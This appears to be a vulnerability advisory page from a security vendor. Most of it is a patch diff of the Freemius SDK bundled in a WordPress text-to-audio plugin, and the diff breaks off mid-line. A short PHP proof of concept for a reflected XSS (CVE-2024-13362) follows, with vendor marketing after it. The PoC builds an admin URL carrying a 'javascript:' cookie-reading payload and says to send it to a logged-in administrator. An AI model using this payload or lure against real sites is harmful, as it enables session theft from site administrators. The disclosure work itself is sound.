+                    return true;
+                }
+            }
+
+            return false;
+        }
+
         function is_localhost() {
             return ( WP_FS__IS_LOCALHOST_FOR_SERVER || self::is_localhost_by_address( $this->url ) );
         }
--- a/text-to-audio/freemius/includes/entities/class-fs-user.php
+++ b/text-to-audio/freemius/includes/entities/class-fs-user.php
@@ -48,6 +48,19 @@
 			parent::__construct( $user );
 		}

+		/**
+		 * This method removes the deprecated 'is_beta' property from the serialized data.
+		 * Should clean up the serialized data to avoid PHP 8.2 warning on next execution.
+		 *
+		 * @return void
+		 */
+		function __wakeup() {
+			if ( property_exists( $this, 'is_beta' ) ) {
+				// If we enter here, and we are running PHP 8.2, we already had the warning. But we sanitize data for next execution.
+				unset( $this->is_beta );
+			}
+		}
+
 		function get_name() {
 			return trim( ucfirst( trim( is_string( $this->first ) ? $this->first : '' ) ) . ' ' . ucfirst( trim( is_string( $this->last ) ? $this->last : '' ) ) );
 		}
--- a/text-to-audio/freemius/includes/managers/class-fs-admin-menu-manager.php
+++ b/text-to-audio/freemius/includes/managers/class-fs-admin-menu-manager.php
@@ -699,16 +699,36 @@
 				$menu = $this->find_main_submenu();
 			}

+			$menu_slug   = $menu['menu'][2];
 			$parent_slug = isset( $menu['parent_slug'] ) ?
-                $menu['parent_slug'] :
-                'admin.php';
+				$menu['parent_slug'] :
+				'admin.php';

-            return admin_url(
-                $parent_slug .
-                ( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
-                'page=' .
-                $menu['menu'][2]
-            );
+			if ( fs_apply_filter( $this->_module_unique_affix, 'enable_cpt_advanced_menu_logic', false ) ) {
+				$parent_slug = 'admin.php';
+
+				/**
+				 * This line and the `if` block below it are based on the `menu_page_url()` function of WordPress.
+				 *
+				 * @author Leo Fajardo (@leorw)
+				 * @since 2.10.2
+				 */
+				global $_parent_pages;
+
+				if ( ! empty( $_parent_pages[ $menu_slug ] ) ) {
+					$_parent_slug = $_parent_pages[ $menu_slug ];
+					$parent_slug  = isset( $_parent_pages[ $_parent_slug ] ) ?
+						$parent_slug :
+						$menu['parent_slug'];
+				}
+			}
+
+			return admin_url(
+				$parent_slug .
+				( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
+				'page=' .
+				$menu_slug
+			);
 		}

 		/**
--- a/text-to-audio/freemius/includes/managers/class-fs-admin-notice-manager.php
+++ b/text-to-audio/freemius/includes/managers/class-fs-admin-notice-manager.php
@@ -194,8 +194,14 @@
          * @since  1.0.7
          */
         static function _add_sticky_dismiss_javascript() {
+            $sticky_admin_notice_js_template_name = 'sticky-admin-notice-js.php';
+
+            if ( ! file_exists( fs_get_template_path( $sticky_admin_notice_js_template_name ) ) ) {
+                return;
+            }
+
             $params = array();
-            fs_require_once_template( 'sticky-admin-notice-js.php', $params );
+            fs_require_once_template( $sticky_admin_notice_js_template_name, $params );
         }

         private static $_added_sticky_javascript = false;
--- a/text-to-audio/freemius/includes/managers/class-fs-checkout-manager.php
+++ b/text-to-audio/freemius/includes/managers/class-fs-checkout-manager.php
@@ -1,242 +1,242 @@
-<?php
-	/**
-	 * @package     Freemius
-	 * @copyright   Copyright (c) 2024, Freemius, Inc.
-	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
-	 * @since       2.9.0
-	 */
-
-	if ( ! defined( 'ABSPATH' ) ) {
-		exit;
-	}
-
-	class FS_Checkout_Manager {
-
-		# region Singleton
-
-		/**
-		 * @var FS_Checkout_Manager
-		 */
-		private static $_instance;
-
-		/**
-		 * @return FS_Checkout_Manager
-		 */
-		static function instance() {
-			if ( ! isset( self::$_instance ) ) {
-				self::$_instance = new FS_Checkout_Manager();
-			}
-
-			return self::$_instance;
-		}
-
-		private function __construct() {
-		}
-
-		#endregion
-
-		/**
-		 * Retrieves the query params needed to load the Freemius Checkout in the context of the plugin.
-		 *
-		 * @param Freemius $fs
-		 * @param number   $plugin_id
-		 * @param number   $plan_id
-		 * @param number   $licenses
-		 *
-		 * @return array
-		 */
-		public function get_query_params( Freemius $fs, $plugin_id, $plan_id, $licenses ) {
-			$timestamp = time();
-
-			$context_params = array(
-				'plugin_id'      => $fs->get_id(),
-				'public_key'     => $fs->get_public_key(),
-				'plugin_version' => $fs->get_plugin_version(),
-				'mode'           => 'dashboard',
-				'trial'          => fs_request_get_bool( 'trial' ),
-				'is_ms'          => ( fs_is_network_admin() && $fs->is_network_active() ),
-			);
-
-			if ( FS_Plugin_Plan::is_valid_id( $plan_id ) ) {
-				$context_params['plan_id'] = $plan_id;
-			}
-
-			if ( $licenses === strval( intval( $licenses ) ) && $licenses > 0 ) {
-				$context_params['licenses'] = $licenses;
-			}
-
-			if ( $plugin_id == $fs->get_id() ) {
-				$is_premium = $fs->is_premium();
-
-				$bundle_id = $fs->get_bundle_id();
-				if ( ! is_null( $bundle_id ) ) {
-					$context_params['bundle_id'] = $bundle_id;
-				}
-			} else {
-				// Identify the module code version of the checkout context module.
-				if ( $fs->is_addon_activated( $plugin_id ) ) {
-					$fs_addon   = Freemius::get_instance_by_id( $plugin_id );
-					$is_premium = $fs_addon->is_premium();
-				} else {
-					// If add-on isn't activated assume the premium version isn't installed.
-					$is_premium = false;
-				}
-			}
-
-			// Get site context secure params.
-			if ( $fs->is_registered() ) {
-				$site = $fs->get_site();
-
-				if ( $plugin_id != $fs->get_id() ) {
-					if ( $fs->is_addon_activated( $plugin_id ) ) {
-						$fs_addon   = Freemius::get_instance_by_id( $plugin_id );
-						$addon_site = $fs_addon->get_site();
-						if ( is_object( $addon_site ) ) {
-							$site = $addon_site;
-						}
-					}
-				}
-
-				$context_params = array_merge(
-					$context_params,
-					FS_Security::instance()->get_context_params(
-						$site,
-						$timestamp,
-						'checkout'
-					)
-				);
-			} else {
-				$current_user = Freemius::_get_current_wp_user();
-
-				// Add site and user info to the request, this information
-				// is NOT being stored unless the user complete the purchase
-				// and agrees to the TOS.
-				$context_params = array_merge( $context_params, array(
-					'user_firstname' => $current_user->user_firstname,
-					'user_lastname'  => $current_user->user_lastname,
-					'user_email'     => $current_user->user_email,
-					'home_url'       => home_url(),
-				) );
-
-				$fs_user = Freemius::_get_user_by_email( $current_user->user_email );
-
-				if ( is_object( $fs_user ) && $fs_user->is_verified() ) {
-					$context_params = array_merge(
-						$context_params,
-						FS_Security::instance()->get_context_params(
-							$fs_user,
-							$timestamp,
-							'checkout'
-						)
-					);
-				}
-			}
-
-			if ( $fs->is_payments_sandbox() ) {
-				// Append plugin secure token for sandbox mode authentication.
-				$context_params['sandbox'] = FS_Security::instance()->get_secure_token(
-					$fs->get_plugin(),
-					$timestamp,
-					'checkout'
-				);
-
-				/**
-				 * @since 1.1.7.3 Add security timestamp for sandbox even for anonymous user.
-				 */
-				if ( empty( $context_params['s_ctx_ts'] ) ) {
-					$context_params['s_ctx_ts'] = $timestamp;
-				}
-			}
-
-			$can_user_install = (
-				( $fs->is_plugin() && current_user_can( 'install_plugins' ) ) ||
-				( $fs->is_theme() && current_user_can( 'install_themes' ) )
-			);
-
-			return array_merge( $context_params, $_GET, array(
-				// Current plugin version.
-				'plugin_version' => $fs->get_plugin_version(),
-				'sdk_version'    => WP_FS__SDK_VERSION,
-				'is_premium'     => $is_premium ? 'true' : 'false',
-				'can_install'    => $can_user_install ? 'true' : 'false',
-			) );
-		}
-
-		/**
-		 * The return URL to pass to the checkout when the checkout is loaded in "redirect" mode.
-		 *
-		 * @param Freemius $fs
-		 *
-		 * @return string
-		 */
-		public function get_checkout_redirect_return_url( Freemius $fs ) {
-			$request_url = remove_query_arg( '_wp_http_referer' );
-
-			return fs_nonce_url(
-				$fs->checkout_url(
-					fs_request_get( 'billing_cycle' ),
-					fs_request_get_bool( 'trial' ),
-					array(
-						'process_redirect' => 'true',
-						'_wp_http_referer' => $request_url,
-					)
-				),
-				$this->get_checkout_redirect_nonce_action( $fs )
-			);
-		}
-
-		/**
-		 * @param array  $query_params
-		 * @param string $base_url
-		 *
-		 * @return string
-		 */
-		public function get_full_checkout_url( array $query_params, $base_url = FS_CHECKOUT__ADDRESS ) {
-			return $base_url . '/?' . http_build_query( $query_params );
-		}
-
-		/**
-		 * Verifies the redirect after a checkout with the nonce.
-		 *
-		 * @param Freemius $fs
-		 */
-		public function verify_checkout_redirect_nonce( Freemius $fs ) {
-			check_admin_referer( $this->get_checkout_redirect_nonce_action( $fs ) );
-		}
-
-		/**
-		 * Get the URL to process a new install after the checkout.
-		 *
-		 * @param Freemius $fs
-		 * @param number   $plugin_id
-		 *
-		 * @return string
-		 */
-		public function get_install_url( Freemius $fs, $plugin_id ) {
-			return fs_nonce_url( $fs->_get_admin_page_url( 'account', array(
-				'fs_action' => $fs->get_unique_affix() . '_activate_new',
-				'plugin_id' => $plugin_id,
-			) ), $fs->get_unique_affix() . '_activate_new' );
-		}
-
-		/**
-		 * Get the URL to process a pending activation after the checkout.
-		 *
-		 * @param Freemius $fs
-		 * @param number   $plugin_id
-		 *
-		 * @return string
-		 */
-		public function get_pending_activation_url( Freemius $fs, $plugin_id ) {
-			return fs_nonce_url( $fs->_get_admin_page_url( 'account', array(
-				'fs_action'           => $fs->get_unique_affix() . '_activate_new',
-				'plugin_id'           => $plugin_id,
-				'pending_activation'  => true,
-				'has_upgrade_context' => true,
-			) ), $fs->get_unique_affix() . '_activate_new' );
-		}
-
-		private function get_checkout_redirect_nonce_action( Freemius $fs ) {
-			return $fs->get_unique_affix() . '_checkout_redirect';
-		}
+<?php
+	/**
+	 * @package     Freemius
+	 * @copyright   Copyright (c) 2024, Freemius, Inc.
+	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
+	 * @since       2.9.0
+	 */
+
+	if ( ! defined( 'ABSPATH' ) ) {
+		exit;
+	}
+
+	class FS_Checkout_Manager {
+
+		# region Singleton
+
+		/**
+		 * @var FS_Checkout_Manager
+		 */
+		private static $_instance;
+
+		/**
+		 * @return FS_Checkout_Manager
+		 */
+		static function instance() {
+			if ( ! isset( self::$_instance ) ) {
+				self::$_instance = new FS_Checkout_Manager();
+			}
+
+			return self::$_instance;
+		}
+
+		private function __construct() {
+		}
+
+		#endregion
+
+		/**
+		 * Retrieves the query params needed to load the Freemius Checkout in the context of the plugin.
+		 *
+		 * @param Freemius $fs
+		 * @param number   $plugin_id
+		 * @param number   $plan_id
+		 * @param number   $licenses
+		 *
+		 * @return array
+		 */
+		public function get_query_params( Freemius $fs, $plugin_id, $plan_id, $licenses ) {
+			$timestamp = time();
+
+			$context_params = array(
+				'plugin_id'      => $fs->get_id(),
+				'public_key'     => $fs->get_public_key(),
+				'plugin_version' => $fs->get_plugin_version(),
+				'mode'           => 'dashboard',
+				'trial'          => fs_request_get_bool( 'trial' ),
+				'is_ms'          => ( fs_is_network_admin() && $fs->is_network_active() ),
+			);
+
+			if ( FS_Plugin_Plan::is_valid_id( $plan_id ) ) {
+				$context_params['plan_id'] = $plan_id;
+			}
+
+			if ( $licenses === strval( intval( $licenses ) ) && $licenses > 0 ) {
+				$context_params['licenses'] = $licenses;
+			}
+
+			if ( $plugin_id == $fs->get_id() ) {
+				$is_premium = $fs->is_premium();
+
+				$bundle_id = $fs->get_bundle_id();
+				if ( ! is_null( $bundle_id ) ) {
+					$context_params['bundle_id'] = $bundle_id;
+				}
+			} else {
+				// Identify the module code version of the checkout context module.
+				if ( $fs->is_addon_activated( $plugin_id ) ) {
+					$fs_addon   = Freemius::get_instance_by_id( $plugin_id );
+					$is_premium = $fs_addon->is_premium();
+				} else {
+					// If add-on isn't activated assume the premium version isn't installed.
+					$is_premium = false;
+				}
+			}
+
+			// Get site context secure params.
+			if ( $fs->is_registered() ) {
+				$site = $fs->get_site();
+
+				if ( $plugin_id != $fs->get_id() ) {
+					if ( $fs->is_addon_activated( $plugin_id ) ) {
+						$fs_addon   = Freemius::get_instance_by_id( $plugin_id );
+						$addon_site = $fs_addon->get_site();
+						if ( is_object( $addon_site ) ) {
+							$site = $addon_site;
+						}
+					}
+				}
+
+				$context_params = array_merge(
+					$context_params,
+					FS_Security::instance()->get_context_params(
+						$site,
+						$timestamp,
+						'checkout'
+					)
+				);
+			} else {
+				$current_user = Freemius::_get_current_wp_user();
+
+				// Add site and user info to the request, this information
+				// is NOT being stored unless the user complete the purchase
+				// and agrees to the TOS.
+				$context_params = array_merge( $context_params, array(
+					'user_firstname' => $current_user->user_firstname,
+					'user_lastname'  => $current_user->user_lastname,
+					'user_email'     => $current_user->user_email,
+					'home_url'       => home_url(),
+				) );
+
+				$fs_user = Freemius::_get_user_by_email( $current_user->user_email );
+
+				if ( is_object( $fs_user ) && $fs_user->is_verified() ) {
+					$context_params = array_merge(
+						$context_params,
+						FS_Security::instance()->get_context_params(
+							$fs_user,
+							$timestamp,
+							'checkout'
+						)
+					);
+				}
+			}
+
+			if ( $fs->is_payments_sandbox() ) {
+				// Append plugin secure token for sandbox mode authentication.
+				$context_params['sandbox'] = FS_Security::instance()->get_secure_token(
+					$fs->get_plugin(),
+					$timestamp,
+					'checkout'
+				);
+
+				/**
+				 * @since 1.1.7.3 Add security timestamp for sandbox even for anonymous user.
+				 */
+				if ( empty( $context_params['s_ctx_ts'] ) ) {
+					$context_params['s_ctx_ts'] = $timestamp;
+				}
+			}
+
+			$can_user_install = (
+				( $fs->is_plugin() && current_user_can( 'install_plugins' ) ) ||
+				( $fs->is_theme() && current_user_can( 'install_themes' ) )
+			);
+
+			return array_merge( $context_params, $_GET, array(
+				// Current plugin version.
+				'plugin_version' => $fs->get_plugin_version(),
+				'sdk_version'    => WP_FS__SDK_VERSION,
+				'is_premium'     => $is_premium ? 'true' : 'false',
+				'can_install'    => $can_user_install ? 'true' : 'false',
+			) );
+		}
+
+		/**
+		 * The return URL to pass to the checkout when the checkout is loaded in "redirect" mode.
+		 *
+		 * @param Freemius $fs
+		 *
+		 * @return string
+		 */
+		public function get_checkout_redirect_return_url( Freemius $fs ) {
+			$request_url = remove_query_arg( '_wp_http_referer' );
+
+			return fs_nonce_url(
+				$fs->checkout_url(
+					fs_request_get( 'billing_cycle' ),
+					fs_request_get_bool( 'trial' ),
+					array(
+						'process_redirect' => 'true',
+						'_wp_http_referer' => $request_url,
+					)
+				),
+				$this->get_checkout_redirect_nonce_action( $fs )
+			);
+		}
+
+		/**
+		 * @param array  $query_params
+		 * @param string $base_url
+		 *
+		 * @return string
+		 */
+		public function get_full_checkout_url( array $query_params, $base_url = FS_CHECKOUT__ADDRESS ) {
+			return $base_url . '/?' . http_build_query( $query_params );
+		}
+
+		/**
+		 * Verifies the redirect after a checkout with the nonce.
+		 *
+		 * @param Freemius $fs
+		 */
+		public function verify_checkout_redirect_nonce( Freemius $fs ) {
+			check_admin_referer( $this->get_checkout_redirect_nonce_action( $fs ) );
+		}
+
+		/**
+		 * Get the URL to process a new install after the checkout.
+		 *
+		 * @param Freemius $fs
+		 * @param number   $plugin_id
+		 *
+		 * @return string
+		 */
+		public function get_install_url( Freemius $fs, $plugin_id ) {
+			return fs_nonce_url( $fs->_get_admin_page_url( 'account', array(
+				'fs_action' => $fs->get_unique_affix() . '_activate_new',
+				'plugin_id' => $plugin_id,
+			) ), $fs->get_unique_affix() . '_activate_new' );
+		}
+
+		/**
+		 * Get the URL to process a pending activation after the checkout.
+		 *
+		 * @param Freemius $fs
+		 * @param number   $plugin_id
+		 *
+		 * @return string
+		 */
+		public function get_pending_activation_url( Freemius $fs, $plugin_id ) {
+			return fs_nonce_url( $fs->_get_admin_page_url( 'account', array(
+				'fs_action'           => $fs->get_unique_affix() . '_activate_new',
+				'plugin_id'           => $plugin_id,
+				'pending_activation'  => true,
+				'has_upgrade_context' => true,
+			) ), $fs->get_unique_affix() . '_activate_new' );
+		}
+
+		private function get_checkout_redirect_nonce_action( Freemius $fs ) {
+			return $fs->get_unique_affix() . '_checkout_redirect';
+		}
 	}
 No newline at end of file
--- a/text-to-audio/freemius/includes/managers/class-fs-contact-form-manager.php
+++ b/text-to-audio/freemius/includes/managers/class-fs-contact-form-manager.php
@@ -1,84 +1,84 @@
-<?php
-	/**
-	 * @package     Freemius
-	 * @copyright   Copyright (c) 2024, Freemius, Inc.
-	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
-	 * @since       2.9.0
-	 */
-
-	if ( ! defined( 'ABSPATH' ) ) {
-		exit;
-	}
-
-	class FS_Contact_Form_Manager {
-
-		# region Singleton
-
-		/**
-		 * @var FS_Contact_Form_Manager
-		 */
-		private static $_instance;
-
-		/**
-		 * @return FS_Contact_Form_Manager
-		 */
-		static function instance() {
-			if ( ! isset( self::$_instance ) ) {
-				self::$_instance = new FS_Contact_Form_Manager();
-			}
-
-			return self::$_instance;
-		}
-
-		private function __construct() {
-		}
-
-		#endregion
-
-		/**
-		 * Retrieves the query params needed to load the Freemius Contact Form in the context of the plugin.
-		 *
-		 * @param Freemius $fs
-		 *
-		 * @return array<string, string>
-		 */
-		public function get_query_params( Freemius $fs ) {
-			$context_params = array(
-				'plugin_id'         => $fs->get_id(),
-				'plugin_public_key' => $fs->get_public_key(),
-				'plugin_version'    => $fs->get_plugin_version(),
-			);
-
-			// Get site context secure params.
-			if ( $fs->is_registered() ) {
-				$context_params = array_merge( $context_params, FS_Security::instance()->get_context_params(
-					$fs->get_site(),
-					time(),
-					'contact'
-				) );
-			}
-
-			return array_merge( $_GET, array_merge( $context_params, array(
-				'plugin_version' => $fs->get_plugin_version(),
-				'wp_login_url'   => wp_login_url(),
-				'site_url'       => Freemius::get_unfiltered_site_url(),
-				//		'wp_admin_css' => get_bloginfo('wpurl') . "/wp-admin/load-styles.php?c=1&load=buttons,wp-admin,dashicons",
-			) ) );
-		}
-
-		/**
-		 * Retrieves the standalone link to the Freemius Contact Form.
-		 *
-		 * @param Freemius $fs
-		 *
-		 * @return string
-		 */
-		public function get_standalone_link( Freemius $fs ) {
-			$query_params = $this->get_query_params( $fs );
-
-			$query_params['is_standalone'] = 'true';
-			$query_params['parent_url']    = admin_url( add_query_arg( null, null ) );
-
-			return WP_FS__ADDRESS . '/contact/?' . http_build_query( $query_params );
-		}
+<?php
+	/**
+	 * @package     Freemius
+	 * @copyright   Copyright (c) 2024, Freemius, Inc.
+	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
+	 * @since       2.9.0
+	 */
+
+	if ( ! defined( 'ABSPATH' ) ) {
+		exit;
+	}
+
+	class FS_Contact_Form_Manager {
+
+		# region Singleton
+
+		/**
+		 * @var FS_Contact_Form_Manager
+		 */
+		private static $_instance;
+
+		/**
+		 * @return FS_Contact_Form_Manager
+		 */
+		static function instance() {
+			if ( ! isset( self::$_instance ) ) {
+				self::$_instance = new FS_Contact_Form_Manager();
+			}
+
+			return self::$_instance;
+		}
+
+		private function __construct() {
+		}
+
+		#endregion
+
+		/**
+		 * Retrieves the query params needed to load the Freemius Contact Form in the context of the plugin.
+		 *
+		 * @param Freemius $fs
+		 *
+		 * @return array<string, string>
+		 */
+		public function get_query_params( Freemius $fs ) {
+			$context_params = array(
+				'plugin_id'         => $fs->get_id(),
+				'plugin_public_key' => $fs->get_public_key(),
+				'plugin_version'    => $fs->get_plugin_version(),
+			);
+
+			// Get site context secure params.
+			if ( $fs->is_registered() ) {
+				$context_params = array_merge( $context_params, FS_Security::instance()->get_context_params(
+					$fs->get_site(),
+					time(),
+					'contact'
+				) );
+			}
+
+			return array_merge( $_GET, array_merge( $context_params, array(
+				'plugin_version' => $fs->get_plugin_version(),
+				'wp_login_url'   => wp_login_url(),
+				'site_url'       => Freemius::get_unfiltered_site_url(),
+				//		'wp_admin_css' => get_bloginfo('wpurl') . "/wp-admin/load-styles.php?c=1&load=buttons,wp-admin,dashicons",
+			) ) );
+		}
+
+		/**
+		 * Retrieves the standalone link to the Freemius Contact Form.
+		 *
+		 * @param Freemius $fs
+		 *
+		 * @return string
+		 */
+		public function get_standalone_link( Freemius $fs ) {
+			$query_params = $this->get_query_params( $fs );
+
+			$query_params['is_standalone'] = 'true';
+			$query_params['parent_url']    = admin_url( add_query_arg( null, null ) );
+
+			return WP_FS__ADDRESS . '/contact/?' . http_build_query( $query_params );
+		}
 	}
 No newline at end of file
--- a/text-to-audio/freemius/require.php
+++ b/text-to-audio/freemius/require.php
@@ -1,61 +1,61 @@
-<?php
-	/**
-	 * @package     Freemius
-	 * @copyright   Copyright (c) 2016, Freemius, Inc.
-	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
-	 * @since       1.1.9
-	 */
-
-    if ( ! defined( 'ABSPATH' ) ) {
-        exit;
-    }
-
-	// Configuration should be loaded first.
-	require_once dirname( __FILE__ ) . '/config.php';
-	require_once WP_FS__DIR_INCLUDES . '/fs-core-functions.php';
-	require_once WP_FS__DIR_INCLUDES . '/fs-html-escaping-functions.php';
-
-	// Logger must be loaded before any other.
-	require_once WP_FS__DIR_INCLUDES . '/class-fs-logger.php';
-	require_once WP_FS__DIR_INCLUDES . '/debug/debug-bar-start.php';
-
-	require_once WP_FS__DIR_INCLUDES . '/class-fs-garbage-collector.php';
-
-//		require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-abstract-manager.php';
-	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-option-manager.php';
-	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-gdpr-manager.php';
-	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-clone-manager.php';
-	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-permission-manager.php';
-	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-cache-manager.php';
-	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-checkout-manager.php';
-	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-contact-form-manager.php';
-	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-admin-notice-manager.php';
-	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-admin-menu-manager.php';
-	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-key-value-storage.php';
-	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-license-manager.php';
-	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-plan-manager.php';
-	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-plugin-manager.php';
-	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-entity.php';
-	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-scope-entity.php';
-	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-user.php';
-	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-site.php';
-	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-plugin.php';
-	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-affiliate.php';
-	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-affiliate-terms.php';
-	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-plugin-info.php';
-	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-plugin-tag.php';
-	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-plugin-plan.php';
-	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-pricing.php';
-	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-payment.php';
-	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-plugin-license.php';
-	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-subscription.php';
-	require_once WP_FS__DIR_INCLUDES . '/class-fs-api.php';
-	require_once WP_FS__DIR_INCLUDES . '/class-fs-plugin-updater.php';
-	require_once WP_FS__DIR_INCLUDES . '/class-fs-security.php';
-	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-debug-manager.php';
-    require_once WP_FS__DIR_INCLUDES . '/class-fs-options.php';
-    require_once WP_FS__DIR_INCLUDES . '/class-fs-storage.php';
-    require_once WP_FS__DIR_INCLUDES . '/class-fs-admin-notices.php';
-	require_once WP_FS__DIR_INCLUDES . '/class-freemius-abstract.php';
-	require_once WP_FS__DIR_INCLUDES . '/sdk/Exceptions/Exception.php';
-	require_once WP_FS__DIR_INCLUDES . '/class-freemius.php';
+<?php
+	/**
+	 * @package     Freemius
+	 * @copyright   Copyright (c) 2016, Freemius, Inc.
+	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
+	 * @since       1.1.9
+	 */
+
+    if ( ! defined( 'ABSPATH' ) ) {
+        exit;
+    }
+
+	// Configuration should be loaded first.
+	require_once dirname( __FILE__ ) . '/config.php';
+	require_once WP_FS__DIR_INCLUDES . '/fs-core-functions.php';
+	require_once WP_FS__DIR_INCLUDES . '/fs-html-escaping-functions.php';
+
+	// Logger must be loaded before any other.
+	require_once WP_FS__DIR_INCLUDES . '/class-fs-logger.php';
+	require_once WP_FS__DIR_INCLUDES . '/debug/debug-bar-start.php';
+
+	require_once WP_FS__DIR_INCLUDES . '/class-fs-garbage-collector.php';
+
+//		require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-abstract-manager.php';
+	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-option-manager.php';
+	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-gdpr-manager.php';
+	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-clone-manager.php';
+	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-permission-manager.php';
+	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-cache-manager.php';
+	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-checkout-manager.php';
+	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-contact-form-manager.php';
+	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-admin-notice-manager.php';
+	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-admin-menu-manager.php';
+	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-key-value-storage.php';
+	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-license-manager.php';
+	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-plan-manager.php';
+	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-plugin-manager.php';
+	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-entity.php';
+	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-scope-entity.php';
+	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-user.php';
+	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-site.php';
+	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-plugin.php';
+	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-affiliate.php';
+	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-affiliate-terms.php';
+	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-plugin-info.php';
+	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-plugin-tag.php';
+	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-plugin-plan.php';
+	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-pricing.php';
+	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-payment.php';
+	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-plugin-license.php';
+	require_once WP_FS__DIR_INCLUDES . '/entities/class-fs-subscription.php';
+	require_once WP_FS__DIR_INCLUDES . '/class-fs-api.php';
+	require_once WP_FS__DIR_INCLUDES . '/class-fs-plugin-updater.php';
+	require_once WP_FS__DIR_INCLUDES . '/class-fs-security.php';
+	require_once WP_FS__DIR_INCLUDES . '/managers/class-fs-debug-manager.php';
+    require_once WP_FS__DIR_INCLUDES . '/class-fs-opti

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Freemius <= 2.10.1 Reflected DOM-Based XSS via url Parameter

// This PoC demonstrates the reflected XSS by crafting a malicious URL that, when clicked by an admin,
// will execute JavaScript in the context of the admin panel.

$target_url = 'http://victim-site.com';  // Replace with target WordPress URL

$payload = "javascript:alert(document.cookie)";  // XSS payload

// Build the exploit URL
$exploit_url = $target_url . '/wp-admin/admin.php?page=freemius&url=' . urlencode($payload);

echo "[+] Exploit URL: " . $exploit_url . "n";
echo "[+] Send this link to an authenticated admin user.n";
echo "[+] When the user clicks, the JavaScript will execute in their browser.n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School